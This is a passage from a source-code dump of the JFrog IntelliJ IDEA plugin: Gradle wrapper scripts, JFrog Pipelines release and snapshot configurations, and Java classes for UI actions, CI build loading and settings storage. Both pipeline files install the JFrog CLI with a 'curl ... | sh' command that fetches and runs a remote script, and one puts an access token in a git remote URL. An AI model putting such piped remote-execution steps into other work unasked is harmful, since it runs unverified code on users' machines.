"$CLASSPATH" ) JAVACMD=$( cygpath --unix "$JAVACMD" ) # Now convert the arguments - kludge to limit ourselves to /bin/sh for arg do if case $arg in #( -*) false ;; # don't mess with options #( /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath [ -e "$t" ] ;; #( *) false ;; esac then arg=$( cygpath --path --ignore --mixed "$arg" ) fi # Roll the args list around exactly as many times as the number of # args, so each arg winds up back in the position where it started, but # possibly modified. # # NB: a `for` loop captures its iteration list before it begins, so # changing the positional parameters here affects neither the number of # iterations, nor the values presented in `arg`. shift # remove old arg set -- "$@" "$arg" # push replacement arg done fi # Collect all arguments for the java command; # * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of # shell script including quotes and variable substitutions, so put them in # double quotes to make sure that they get re-expanded; and # * put everything else in single quotes, so that it's not re-expanded. set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ org.gradle.wrapper.GradleWrapperMain \ "$@" # Stop when "xargs" is not available. if ! command -v xargs >/dev/null 2>&1 then die "xargs is not available" fi # Use "xargs" to parse quoted args. # # With -n1 it outputs one arg per line, with the quotes and backslashes removed. # # In Bash we could simply go: # # readarray ARGS < <( xargs -n1 <<<"$var" ) && # set -- "${ARGS[@]}" "$@" # # but POSIX shell has neither arrays nor command substitution, so instead we # post-process each arg (as a line of input to sed) to backslash-escape any # character that might be a shell metacharacter, then use eval to reverse # that process (while maintaining the separation between arguments), and wrap # the whole thing up as a single "set" statement. # # This will of course break if any of these variables contains a newline or # an unmatched quote. # eval "set -- $( printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | xargs -n1 | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | tr '\n' ' ' )" '"$@"' exec "$JAVACMD" "$@" ================================================ FILE: gradlew.bat ================================================ @rem @rem Copyright 2015 the original author or authors. @rem @rem Licensed under the Apache License, Version 2.0 (the "License"); @rem you may not use this file except in compliance with the License. @rem You may obtain a copy of the License at @rem @rem https://www.apache.org/licenses/LICENSE-2.0 @rem @rem Unless required by applicable law or agreed to in writing, software @rem distributed under the License is distributed on an "AS IS" BASIS, @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @rem @rem Gradle startup script for Windows @rem @rem ########################################################################## @rem Set local scope for the variables with windows NT shell if "%OS%"=="Windows_NT" setlocal set DIRNAME=%~dp0 if "%DIRNAME%"=="" set DIRNAME=. @rem This is normally unused set APP_BASE_NAME=%~n0 set APP_HOME=%DIRNAME% @rem Resolve any "." and ".." in APP_HOME to make it shorter. for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" @rem Find java.exe if defined JAVA_HOME goto findJavaFromJavaHome set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute echo. echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :findJavaFromJavaHome set JAVA_HOME=%JAVA_HOME:"=% set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute echo. echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :execute @rem Setup the command line set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar @rem Execute Gradle "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* :end @rem End local scope for the variables with windows NT shell if %ERRORLEVEL% equ 0 goto mainEnd :fail rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of rem the _cmd.exe /c_ return code! set EXIT_CODE=%ERRORLEVEL% if %EXIT_CODE% equ 0 set EXIT_CODE=1 if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% exit /b %EXIT_CODE% :mainEnd if "%OS%"=="Windows_NT" endlocal :omega ================================================ FILE: release/pipelines.release.yml ================================================ pipelines: - name: release_jfrog_idea_plugin configuration: runtime: type: image image: auto: language: java versions: - "17" environmentVariables: readOnly: NEXT_VERSION: 0.0.0 NEXT_DEVELOPMENT_VERSION: 0.0.x-SNAPSHOT SKIP_AUDIT: "false" steps: - name: Release type: Bash configuration: inputResources: - name: jfrogIdeaPluginReleaseGit integrations: - name: il_automation - name: ecosys_entplus_deployer - name: jetbrains execution: onExecute: - cd $res_jfrogIdeaPluginReleaseGit_resourcePath # Set env - export CI=true - export JFROG_BUILD_STATUS=PASS - export JFROG_CLI_BUILD_NAME=ecosystem-jfrog-idea-plugin-release - export JFROG_CLI_BUILD_NUMBER=$run_number - export JFROG_CLI_BUILD_PROJECT=ecosys # Configure git - if [[ $NEXT_VERSION =~ ^1.* ]]; then BRANCH="v1"; else BRANCH="master"; fi - git checkout ${BRANCH} - git remote set-url origin https://$int_il_automation_token@github.com/jfrog/jfrog-idea-plugin.git # Make sure versions provided - echo "Checking variables" - test -n "$NEXT_VERSION" -a "$NEXT_VERSION" != "0.0.0" - test -n "$NEXT_DEVELOPMENT_VERSION" -a "$NEXT_DEVELOPMENT_VERSION" != "0.0.x-SNAPSHOT" # Configure JFrog CLI - curl -fL https://install-cli.jfrog.io | sh - jf c rm --quiet - jf c add internal --url=$int_ecosys_entplus_deployer_url --user=$int_ecosys_entplus_deployer_user --password=$int_ecosys_entplus_deployer_apikey # Run audit - | if [ "$SKIP_AUDIT" != "true" ]; then jf audit else echo "Skipping audit according to environment variable" fi # Update version - sed -i "s/\(currentVersion=\).*\$/\1${NEXT_VERSION}/" gradle.properties - git commit -am "[artifactory-release] Release version ${NEXT_VERSION} [skipRun]" --allow-empty - git tag ${NEXT_VERSION} # Run build and publish - jf gradlec --use-wrapper --repo-deploy ecosys-oss-release-local --deploy-maven-desc --deploy-ivy-desc=false - > env -i PATH=$PATH HOME=$HOME CI=$CI JFROG_CLI_BUILD_NAME=$JFROG_CLI_BUILD_NAME JFROG_CLI_BUILD_NUMBER=$JFROG_CLI_BUILD_NUMBER JFROG_CLI_BUILD_PROJECT=$JFROG_CLI_BUILD_PROJECT jf gradle clean buildPlugin -x test artifactoryPublish - jf rt bag && jf rt bce - jf rt bp # Distribute release bundle - jf ds rbc ecosystem-jfrog-idea-plugin $NEXT_VERSION --spec=./release/specs/prod-rbc-filespec.json --spec-vars="version=$NEXT_VERSION" --sign - jf ds rbd ecosystem-jfrog-idea-plugin $NEXT_VERSION --site="releases.jfrog.io" --sync # Upload to Jetbrains marketplace - env -i PATH=$PATH HOME=$HOME JAVA_HOME=$JAVA_HOME JETBRAINS_TOKEN=$int_jetbrains_token ./gradlew publishPlugin # Update next development version - sed -i "s/\(currentVersion=\).*\$/\1${NEXT_DEVELOPMENT_VERSION}/" gradle.properties - git commit -am "[jfrog-release] Next development version [skipRun]" - git push - git push --tags ================================================ FILE: release/pipelines.resources.yml ================================================ resources: - name: jfrogIdeaPluginSnapshotGit type: GitRepo configuration: path: jfrog/jfrog-idea-plugin gitProvider: il_automation buildOn: pullRequestCreate: true commit: true branches: include: master cancelPendingRunsOn: pullRequestUpdate: true - name: jfrogIdeaPluginReleaseGit type: GitRepo configuration: path: jfrog/jfrog-idea-plugin gitProvider: il_automation buildOn: commit: false ================================================ FILE: release/pipelines.snapshot.yml ================================================ pipelines: - name: build_jfrog_idea_plugin_snapshot configuration: runtime: type: image image: auto: language: java versions: - "17" steps: - name: Snapshot type: Bash configuration: inputResources: - name: jfrogIdeaPluginSnapshotGit integrations: - name: entplus_deployer execution: onStart: - restore_cache_files gradle_cache $res_jfrogIdeaPluginSnapshotGit_resourcePath/.gradle onExecute: - cd $res_jfrogIdeaPluginSnapshotGit_resourcePath # Set env - export CI=true - export JFROG_BUILD_STATUS=PASS - export JFROG_CLI_BUILD_NAME=ecosystem-jfrog-idea-plugin-dev - export JFROG_CLI_BUILD_NUMBER=$run_number - export JFROG_CLI_BUILD_PROJECT=ecosys # Configure JFrog CLI - curl -fL https://install-cli.jfrog.io | sh - jf c rm --quiet - jf c add internal --url=$int_entplus_deployer_url --user=$int_entplus_deployer_user --password=$int_entplus_deployer_apikey # Run audit - jf audit # Delete former snapshots to make sure the release bundle will not contain the same artifacts - jf rt del "ecosys-oss-snapshot-local/com/jfrog/ide/jfrog-idea-plugin/*" --quiet # Run test, build and publish snapshot - jf gradlec --use-wrapper --repo-deploy ecosys-oss-snapshot-local --deploy-maven-desc --deploy-ivy-desc=false - > env -i PATH=$PATH HOME=$HOME CI=$CI JFROG_CLI_BUILD_NAME=$JFROG_CLI_BUILD_NAME JFROG_CLI_BUILD_NUMBER=$JFROG_CLI_BUILD_NUMBER JFROG_CLI_BUILD_PROJECT=$JFROG_CLI_BUILD_PROJECT jf gradle clean buildPlugin -x test artifactoryPublish - jf rt bag && jf rt bce - jf rt bp # Distribute release bundle - jf ds rbc ecosystem-jfrog-idea-plugin-snapshot $run_number --spec=./release/specs/dev-rbc-filespec.json --sign - jf ds rbd ecosystem-jfrog-idea-plugin-snapshot $run_number --site="releases.jfrog.io" --sync onComplete: # Save gradle cache - add_cache_files $res_jfrogIdeaPluginSnapshotGit_resourcePath/.gradle gradle_cache ================================================ FILE: release/specs/dev-rbc-filespec.json ================================================ { "files": [ { "pattern": "ecosys-oss-snapshot-local/(com/jfrog/ide/jfrog-idea-plugin/*/jfrog-idea-plugin-*)", "target": "oss-snapshot-local/{1}" } ] } ================================================ FILE: release/specs/prod-rbc-filespec.json ================================================ { "files": [ { "pattern": "ecosys-oss-release-local/(com/jfrog/ide/jfrog-idea-plugin/${version}/jfrog-idea-plugin-*)", "target": "oss-release-local/{1}" } ] } ================================================ FILE: settings.gradle ================================================ pluginManagement { repositories { maven { url 'https://oss.sonatype.org/content/repositories/snapshots/' } gradlePluginPortal() } } rootProject.name = 'jfrog-idea-plugin' ================================================ FILE: src/main/java/com/jfrog/ide/idea/Syncable.java ================================================ package com.jfrog.ide.idea; import com.intellij.util.messages.Topic; import com.jfrog.ide.idea.events.ApplicationEvents; public interface Syncable { Topic getSyncEvent(); } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/CollapseAllAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.icons.AllIcons; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.project.DumbAware; import org.jetbrains.annotations.NotNull; import javax.swing.*; /** * Collapse all action that calls treeCollapsed() once in the end instead of for each row. * * Created by Yahav Itzhak on 3 Jan 2018. */ public class CollapseAllAction extends AnAction implements DumbAware { private JTree myTree; @SuppressWarnings("DialogTitleCapitalization") private CollapseAllAction() { super("Collapse All", "Collapse All", AllIcons.Actions.Collapseall); } public CollapseAllAction(@NotNull JTree tree) { this(); this.myTree = tree; } @Override public void actionPerformed(@NotNull AnActionEvent e) { for (int i = myTree.getRowCount() - 1; i >= 0; i--) { myTree.collapseRow(i); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/CreateIgnoreRuleAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.icons.AllIcons; import com.intellij.ide.BrowserUtil; import com.intellij.openapi.options.ShowSettingsUtil; import com.intellij.openapi.ui.MessageType; import com.intellij.openapi.ui.popup.Balloon; import com.intellij.openapi.ui.popup.JBPopupFactory; import com.intellij.ui.awt.RelativePoint; import com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration; import javax.swing.*; import java.awt.event.ActionEvent; import java.awt.event.MouseEvent; import static com.jfrog.ide.idea.ui.LocalComponentsTree.IGNORE_RULE_TOOL_TIP; import static javax.swing.event.HyperlinkEvent.EventType.ACTIVATED; import static org.apache.commons.lang3.StringUtils.isBlank; /** * Create Ignore Rule button in the right-click menu of the issues table. * * @author yahavi **/ public class CreateIgnoreRuleAction extends AbstractAction { private final String ignoreRuleUrl; private final MouseEvent mouseEvent; public CreateIgnoreRuleAction(String ignoreRuleUrl, MouseEvent mouseEvent) { super("Create Vulnerability Ignore Rule", AllIcons.RunConfigurations.ShowIgnored); this.ignoreRuleUrl = ignoreRuleUrl; this.mouseEvent = mouseEvent; } @Override public void actionPerformed(ActionEvent e) { if (isBlank(this.ignoreRuleUrl)) { Balloon balloon = JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(IGNORE_RULE_TOOL_TIP + "
Configure it here. ", MessageType.ERROR, event -> { if (event.getEventType() != ACTIVATED) { return; } ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class, JFrogGlobalConfiguration::selectSettingsTab); }) .setHideOnAction(true) .setHideOnClickOutside(true) .setHideOnLinkClick(true) .setHideOnKeyOutside(true) .setDialogMode(true) .createBalloon(); balloon.show(new RelativePoint(mouseEvent), Balloon.Position.above); } else { BrowserUtil.browse(ignoreRuleUrl); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/ExpandAllAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.icons.AllIcons; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.project.DumbAware; import org.jetbrains.annotations.NotNull; import javax.swing.*; /** * Expand all action that calls treeExpanded() once in the end instead of for each row. * * Created by Yahav Itzhak on 3 Jan 2018. */ public class ExpandAllAction extends AnAction implements DumbAware { private JTree myTree; @SuppressWarnings("DialogTitleCapitalization") private ExpandAllAction() { super("Expand All", "Expand All", AllIcons.Actions.Expandall); } public ExpandAllAction(@NotNull JTree tree) { this(); this.myTree = tree; } @Override public void actionPerformed(@NotNull AnActionEvent e) { for (int i = 0; i < myTree.getRowCount(); i++) { myTree.expandRow(i); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/GoToSettingsAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.icons.AllIcons; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.options.ShowSettingsUtil; import com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration; /** * Created by tala on 9/3/23. */ public class GoToSettingsAction extends AnAction { public GoToSettingsAction() { super("JFrog Global Configuration", "Go to JFrog global configuration", AllIcons.General.Settings); } @Override public void actionPerformed(AnActionEvent e) { ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/RefreshBuildsAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.jfrog.ide.idea.ci.CiManager; /** * Created by romang on 3/6/17. */ public class RefreshBuildsAction extends AnAction { @Override public void actionPerformed(AnActionEvent e) { if (e.getProject() == null) { return; } CiManager.getInstance(e.getProject()).asyncRefreshBuilds(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/ScanTimeLabelAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.icons.AllIcons; import com.intellij.openapi.actionSystem.ActionUpdateThread; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.actionSystem.Presentation; import com.intellij.openapi.actionSystem.ex.ToolbarLabelAction; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.ui.LocalComponentsTree; import org.jetbrains.annotations.NotNull; import java.time.Instant; import java.time.LocalDateTime; import java.time.ZoneId; import java.time.format.DateTimeFormatter; import java.time.format.FormatStyle; public class ScanTimeLabelAction extends ToolbarLabelAction { @Override public void update(@NotNull AnActionEvent e) { super.update(e); Project project = e.getProject(); if (project == null) { return; } Long lastScanTime = LocalComponentsTree.getInstance(project).lastScanTime(); boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress(); Presentation presentation = e.getPresentation(); if (!isScanInProgress && lastScanTime != null) { DateTimeFormatter format = DateTimeFormatter.ofLocalizedDateTime(FormatStyle.MEDIUM); LocalDateTime lastScanString = LocalDateTime.ofInstant(Instant.ofEpochMilli(lastScanTime), ZoneId.systemDefault()); boolean expired = LocalComponentsTree.getInstance(project).isCacheExpired(); String expiredMessage = expired ? " (outdated)" : ""; presentation.setText("Last scanned at " + format.format(lastScanString) + expiredMessage); presentation.setIcon(expired ? AllIcons.General.Warning : null); } else { presentation.setText(""); presentation.setIcon(null); } } @NotNull @Override public ActionUpdateThread getActionUpdateThread() { return ActionUpdateThread.EDT; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/StartLocalScanAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.openapi.actionSystem.ActionUpdateThread; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.scan.ScanManager; import org.jetbrains.annotations.NotNull; /** * Created by romang on 3/6/17. */ public class StartLocalScanAction extends AnAction { @Override public @NotNull ActionUpdateThread getActionUpdateThread() { return ActionUpdateThread.BGT; } @Override public void actionPerformed(AnActionEvent e) { Project project = e.getProject(); if (project == null) { return; } ScanManager.getInstance(project).startScan(); } @Override public void update(@NotNull AnActionEvent e) { Project project = e.getProject(); if (project == null) { return; } boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress(); e.getPresentation().setVisible(!isScanInProgress); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/actions/StopLocalScanAction.java ================================================ package com.jfrog.ide.idea.actions; import com.intellij.openapi.actionSystem.ActionUpdateThread; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.scan.ScanManager; import org.jetbrains.annotations.NotNull; /** * Created by tala on 10/10/23. */ public class StopLocalScanAction extends AnAction { @Override public @NotNull ActionUpdateThread getActionUpdateThread() { return ActionUpdateThread.BGT; } @Override public void actionPerformed(AnActionEvent e) { Project project = e.getProject(); if (project == null) { return; } ScanManager.getInstance(project).stopScan(); } @Override public void update(@NotNull AnActionEvent e) { Project project = e.getProject(); if (project == null) { return; } boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress(); e.getPresentation().setVisible(isScanInProgress); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ci/CiManager.java ================================================ package com.jfrog.ide.idea.ci; import com.intellij.ide.util.PropertiesComponent; import com.intellij.openapi.Disposable; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.components.State; import com.intellij.openapi.progress.ProcessCanceledException; import com.intellij.openapi.progress.ProgressManager; import com.intellij.openapi.progress.Task; import com.intellij.openapi.project.Project; import com.intellij.util.messages.MessageBus; import com.intellij.util.messages.MessageBusConnection; import com.jfrog.ide.common.ci.BuildDependencyTree; import com.jfrog.ide.common.ci.BuildGeneralInfo; import com.jfrog.ide.common.ci.CiManagerBase; import com.jfrog.ide.common.utils.ProjectsMap; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.events.BuildEvents; import com.jfrog.ide.idea.events.ProjectEvents; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.log.ProgressIndicatorImpl; import com.jfrog.ide.idea.ui.CiComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import com.jfrog.ide.idea.utils.Utils; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.DependencyTree; import javax.swing.*; import java.io.IOException; import java.security.KeyManagementException; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.text.ParseException; import java.util.concurrent.CancellationException; import java.util.concurrent.atomic.AtomicBoolean; import static com.jfrog.ide.common.log.Utils.logError; import static com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration.BUILDS_PATTERN_KEY; import static com.jfrog.ide.idea.utils.Utils.HOME_PATH; /** * @author yahavi */ @State(name = "CiState") public class CiManager extends CiManagerBase implements Disposable { private static final String LOAD_BUILD_FAIL_FMT = "Failed to load build '%s/%s'."; // Lock to prevent multiple simultaneous scans private final AtomicBoolean scanInProgress = new AtomicBoolean(false); private final MessageBusConnection projectBusConnection; private final PropertiesComponent propertiesComponent; private final MessageBusConnection appBusConnection; private final Project project; private CiManager(@NotNull Project project) throws IOException { super(HOME_PATH.resolve("ci-cache"), project.getName(), Logger.getInstance(), GlobalSettings.getInstance().getServerConfig()); this.propertiesComponent = PropertiesComponent.getInstance(project); this.projectBusConnection = project.getMessageBus().connect(this); this.appBusConnection = ApplicationManager.getApplication().getMessageBus().connect(this); this.project = project; registerOnChangeHandlers(); } public static CiManager getInstance(@NotNull Project project) { return project.getService(CiManager.class); } public void asyncRefreshBuilds() { if (!scanPreconditionsMet()) { return; } Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(null, "Downloading builds information...") { @Override public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) { try { if (project.isDisposed()) { return; } project.getMessageBus().syncPublisher(ApplicationEvents.ON_SCAN_CI_STARTED).update(); String buildsPattern = propertiesComponent.getValue(BUILDS_PATTERN_KEY); buildCiTree(buildsPattern, GlobalSettings.getInstance().getServerConfig().getProject(), new ProgressIndicatorImpl(indicator), () -> checkCanceled(indicator)); CiFilterManager.getInstance(project).collectBuildsInformation(root); loadFirstBuild(); sendUsageReport(); } catch (NoSuchAlgorithmException | KeyStoreException | KeyManagementException e) { logError(Logger.getInstance(), "Failed to refresh builds", e, true); } finally { scanInProgress.set(false); } } }; // The progress manager is only good for foreground threads. if (SwingUtilities.isEventDispatchThread()) { ProgressManager.getInstance().run(scanAndUpdateTask); } else { // Run the scan task when the thread is in the foreground. ApplicationManager.getApplication().invokeLater(() -> ProgressManager.getInstance().run(scanAndUpdateTask)); } } /** * Check if "cancel" was clicked. * * @param indicator - The progress indicator * @throws CancellationException in case the scan process should be canceled. */ private void checkCanceled(com.intellij.openapi.progress.ProgressIndicator indicator) throws CancellationException { try { indicator.checkCanceled(); } catch (ProcessCanceledException ignored) { throw new CancellationException(); } } /** * Load a build from the cache to the UI tree after selecting it in the builds selector. * To save RAM, we save only 1 build dependency tree simultaneously. * * @param buildGeneralInfo - The build general info */ public void loadBuild(BuildGeneralInfo buildGeneralInfo) { CiComponentsTree componentsTree = CiComponentsTree.getInstance(project); componentsTree.reset(); ProjectsMap.ProjectKey projectKey = null; if (buildGeneralInfo != null) { try { BuildDependencyTree buildTree = loadBuildTree(buildGeneralInfo); CiFilterManager.getInstance(project).collectsFiltersInformation(buildTree); componentsTree.addScanResults(project.getName(), buildTree); projectKey = ProjectsMap.createKey(project.getName(), buildTree.getGeneralInfo()); } catch (IOException | ParseException | IllegalArgumentException e) { Logger.getInstance().error(String.format(LOAD_BUILD_FAIL_FMT, buildGeneralInfo.getBuildName(), buildGeneralInfo.getBuildNumber()), e); } } MessageBus projectMessageBus = project.getMessageBus(); projectMessageBus.syncPublisher(ProjectEvents.ON_SCAN_CI_CHANGE).update(projectKey); } /** * Search the build general info in the root tree. * * @param buildIdentifier - / * @return the build general info or null */ public BuildGeneralInfo getBuildGeneralInfo(String buildIdentifier) { String buildName = StringUtils.substringBeforeLast(buildIdentifier, "/"); String buildNumber = StringUtils.substringAfterLast(buildIdentifier, "/"); return (BuildGeneralInfo) root.getChildren().stream() .map(DependencyTree::getGeneralInfo) .map(generalInfo -> (BuildGeneralInfo) generalInfo) .filter(generalInfo -> StringUtils.equals(buildName, generalInfo.getBuildName())) .filter(generalInfo -> StringUtils.equals(buildNumber, generalInfo.getBuildNumber())) .findAny().orElse(null); } /** * Load first build. If no builds found, delete all currently displayed build information from the UI. */ private void loadFirstBuild() { BuildGeneralInfo generalInfo = null; if (!root.isLeaf()) { BuildDependencyTree dependencyTree = (BuildDependencyTree) root.getFirstChild(); generalInfo = (BuildGeneralInfo) dependencyTree.getGeneralInfo(); } project.getMessageBus().syncPublisher(BuildEvents.ON_SELECTED_BUILD).update(generalInfo); } private boolean scanPreconditionsMet() { if (!GlobalSettings.getInstance().areArtifactoryCredentialsSet()) { Logger.getInstance().debug("CI integration disabled - Artifactory server is not configured."); return false; } if (StringUtils.isBlank(propertiesComponent.getValue(BUILDS_PATTERN_KEY))) { Logger.getInstance().debug("CI integration disabled - build name pattern is not set. " + "Configure it under the JFrog CI Integration page in the configuration."); return false; } if (!scanInProgress.compareAndSet(false, true)) { Logger.getInstance().info("Builds scan is already in progress."); return false; } return true; } private void registerOnChangeHandlers() { appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) this::asyncRefreshBuilds); projectBusConnection.subscribe(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE, (ApplicationEvents) this::asyncRefreshBuilds); projectBusConnection.subscribe(BuildEvents.ON_SELECTED_BUILD, (BuildEvents) this::loadBuild); } @Override public void dispose() { // Disconnect and release resources from the project bus connection projectBusConnection.disconnect(); // Disconnect and release resources from the application bus connection appBusConnection.disconnect(); } private void sendUsageReport() { Utils.sendUsageReport("ci"); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/configuration/GlobalSettings.java ================================================ /* * SonarLint for IntelliJ IDEA * Copyright (C) 2015 SonarSource * sonarlint@sonarsource.com * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02 */ package com.jfrog.ide.idea.configuration; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.components.PersistentStateComponent; import com.intellij.openapi.components.State; import com.intellij.openapi.components.Storage; import com.intellij.util.messages.MessageBus; import com.intellij.util.xmlb.XmlSerializerUtil; import com.jfrog.ide.idea.events.ApplicationEvents; import com.jfrog.ide.idea.log.Logger; import lombok.Getter; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.jetbrains.annotations.NotNull; import java.io.IOException; /** * @author yahavi */ @Getter @State(name = "GlobalSettings", storages = {@Storage("jfrogConfig.xml")}) public final class GlobalSettings implements PersistentStateComponent { private ServerConfigImpl serverConfig; @SuppressWarnings("unused") GlobalSettings() { this.serverConfig = new ServerConfigImpl(); } public static GlobalSettings getInstance() { return ApplicationManager.getApplication().getService(GlobalSettings.class); } /** * Produces the state object to persist to file. * If configuration loaded from environment-variables, don't persist connection details. * Object to persist has null username and password as Password-safe is used for credentials store. * * @return the state object to persist with clear credentials. */ @Override public GlobalSettings getState() { ServerConfigImpl serverConfig = new ServerConfigImpl(); serverConfig.setExcludedPaths(this.serverConfig.getExcludedPaths()); serverConfig.setPolicyType(this.serverConfig.getPolicyType()); serverConfig.setProject(this.serverConfig.getProject()); serverConfig.setWatches(this.serverConfig.getWatches()); serverConfig.setConnectionRetries(this.serverConfig.getConnectionRetries()); serverConfig.setConnectionTimeout(this.serverConfig.getConnectionTimeout()); serverConfig.setExternalResourcesRepo(this.serverConfig.getExternalResourcesRepo()); serverConfig.setScannerBinaryVersion(this.serverConfig.getScannerBinaryVersion()); GlobalSettings settings = new GlobalSettings(); settings.serverConfig = serverConfig; settings.serverConfig.setPassword(null); settings.serverConfig.setUsername(null); settings.serverConfig.setUrl(this.serverConfig.getUrl()); settings.serverConfig.setXrayUrl(this.serverConfig.getXrayUrl()); settings.serverConfig.setArtifactoryUrl(this.serverConfig.getArtifactoryUrl()); return settings; } @Override public void loadState(@NotNull GlobalSettings state) { XmlSerializerUtil.copyBean(state, this); serverConfig.readMissingConfFromEnv(); } @Override public void noStateLoaded() { reloadMissingConfiguration(); } /** * Method is called by Idea IS for reading the previously saved config file 'jfrogConfig.xml' from the disk. * Check if previous configurations contain credentials, perform migration if necessary. * * @param serverConfig - configurations read from file. */ public void setServerConfig(@NotNull ServerConfigImpl serverConfig) { setCommonConfigFields(serverConfig); this.serverConfig.setCredentials(serverConfig.getCredentialsFromPasswordSafe()); } /** * Update xray configurations with new values. * * @param serverConfig - the new configurations to update. */ public void updateConfig(ServerConfigImpl serverConfig) { if (this.serverConfig.getUrl() != null && !this.serverConfig.getUrl().equals(serverConfig.getUrl())) { this.serverConfig.removeCredentialsFromPasswordSafe(); } setCommonConfigFields(serverConfig); this.serverConfig.setUsername(serverConfig.getUsername()); this.serverConfig.setPassword(serverConfig.getPassword()); this.serverConfig.setAccessToken(serverConfig.getAccessToken()); this.serverConfig.addCredentialsToPasswordSafe(); MessageBus messageBus = ApplicationManager.getApplication().getMessageBus(); messageBus.syncPublisher(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE).update(); } public void setCommonConfigFields(ServerConfigImpl serverConfig) { this.serverConfig.setConnectionType(serverConfig.getConnectionType()); this.serverConfig.setUrl(serverConfig.getUrl()); this.serverConfig.setXrayUrl(serverConfig.getXrayUrl()); this.serverConfig.setArtifactoryUrl(serverConfig.getArtifactoryUrl()); this.serverConfig.setJFrogSettingsCredentialsKey(serverConfig.getJFrogSettingsCredentialsKey()); setAdvancedSettings(serverConfig); } private void 